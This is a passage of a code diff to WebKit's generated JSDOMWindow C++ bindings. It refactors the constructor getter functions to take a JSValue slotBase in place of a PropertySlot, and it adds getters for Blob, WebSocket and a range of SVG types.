+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSWebKitTransitionEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowWheelEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWheelEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSWheelEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowMessageEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowMessageEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSMessageEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowEventExceptionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowEventExceptionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSEventException::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowWebKitCSSKeyframeRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebKitCSSKeyframeRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSWebKitCSSKeyframeRule::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowWebKitCSSKeyframesRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebKitCSSKeyframesRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSWebKitCSSKeyframesRule::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowWebKitCSSMatrixConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebKitCSSMatrixConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->webKitCSSMatrix(exec);
 }
 
-JSValue jsDOMWindowWebKitPointConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebKitPointConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->webKitPoint(exec);
 }
 
-JSValue jsDOMWindowClipboardConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowClipboardConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSClipboard::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowFileConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowFileConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSFile::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowFileListConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowFileListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSFileList::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowNodeFilterConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowBlobConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSBlob::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowNodeFilterConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSNodeFilter::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowRangeConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowRangeConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSRange::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowRangeExceptionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowRangeExceptionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSRangeException::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowEventSourceConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowEventSourceConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->eventSource(exec);
 }
 
-JSValue jsDOMWindowXMLDocumentConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowXMLDocumentConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSDocument::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowDOMParserConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowDOMParserConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSDOMParser::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowXMLSerializerConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowXMLSerializerConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSXMLSerializer::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowXMLHttpRequestConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowXMLHttpRequestConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->xmlHttpRequest(exec);
 }
 
-JSValue jsDOMWindowXMLHttpRequestUploadConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowXMLHttpRequestUploadConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSXMLHttpRequestUpload::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowXMLHttpRequestExceptionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowXMLHttpRequestExceptionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSXMLHttpRequestException::getConstructor(exec, castedThis);
 }
 
 #if ENABLE(XSLT)
-JSValue jsDOMWindowXSLTProcessorConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowXSLTProcessorConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->xsltProcessor(exec);
 }
 #endif
 
-JSValue jsDOMWindowMessagePortConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowMessagePortConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSMessagePort::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowMessageChannelConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowMessageChannelConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->messageChannel(exec);
 }
 
-JSValue jsDOMWindowWorkerConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWorkerConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->worker(exec);
 }
 
-JSValue jsDOMWindowSharedWorkerConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSharedWorkerConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->sharedWorker(exec);
 }
 
-JSValue jsDOMWindowPluginConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebSocketConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return castedThis->webSocket(exec);
+}
+
+JSValue jsDOMWindowPluginConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSPlugin::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowPluginArrayConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowPluginArrayConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSPluginArray::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowMimeTypeConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowMimeTypeConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSMimeType::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowMimeTypeArrayConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowMimeTypeArrayConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSMimeTypeArray::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowClientRectConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowClientRectConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSClientRect::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowClientRectListConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowClientRectListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSClientRectList::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowStorageConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowStorageConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSStorage::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowStorageEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowStorageEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSStorageEvent::getConstructor(exec, castedThis);
 }
 
 #if ENABLE(VIDEO)
-JSValue jsDOMWindowAudioConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowAudioConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->audio(exec);
@@ -3348,9 +3864,9 @@ JSValue jsDOMWindowAudioConstructor(ExecState* exec, const Identifier&, const Pr
 #endif
 
 #if ENABLE(VIDEO)
-JSValue jsDOMWindowHTMLAudioElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLAudioElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLAudioElement::getConstructor(exec, castedThis);
@@ -3358,9 +3874,9 @@ JSValue jsDOMWindowHTMLAudioElementConstructor(ExecState* exec, const Identifier
 #endif
 
 #if ENABLE(VIDEO)
-JSValue jsDOMWindowHTMLMediaElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLMediaElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLMediaElement::getConstructor(exec, castedThis);
@@ -3368,9 +3884,9 @@ JSValue jsDOMWindowHTMLMediaElementConstructor(ExecState* exec, const Identifier
 #endif
 
 #if ENABLE(VIDEO)
-JSValue jsDOMWindowHTMLVideoElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLVideoElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLVideoElement::getConstructor(exec, castedThis);
@@ -3378,151 +3894,993 @@ JSValue jsDOMWindowHTMLVideoElementConstructor(ExecState* exec, const Identifier
 #endif
 
 #if ENABLE(VIDEO)
-JSValue jsDOMWindowMediaErrorConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowMediaErrorConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSMediaError::getConstructor(exec, castedThis);
 }
 #endif
 
-JSValue jsDOMWindowXPathEvaluatorConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowXPathEvaluatorConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSXPathEvaluator::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowXPathResultConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowXPathResultConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSXPathResult::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowXPathExceptionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowXPathExceptionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSXPathException::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGAngleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGAElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAngleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGAngle::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGColorConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGAnimatedAngleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedAngle::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAnimatedBooleanConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedBoolean::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAnimatedEnumerationConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedEnumeration::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAnimatedIntegerConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedInteger::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAnimatedLengthConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedLength::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAnimatedLengthListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedLengthList::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAnimatedNumberConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedNumber::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAnimatedNumberListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedNumberList::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAnimatedPreserveAspectRatioConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedPreserveAspectRatio::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAnimatedRectConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedRect::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAnimatedStringConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedString::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGAnimatedTransformListConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGAnimatedTransformList::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGCircleElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGCircleElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGClipPathElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGClipPathElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGColorConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSSVGColor::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowSVGExceptionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowSVGCursorElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGCursorElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGDefsElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGDefsElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGDescElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGDescElement::getConstructor(exec, castedThis);
+}
+
+JSValue jsDOMWindowSVGDocumentConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSSVGDocument::getConstructor(exec, castedThis);
+}
+
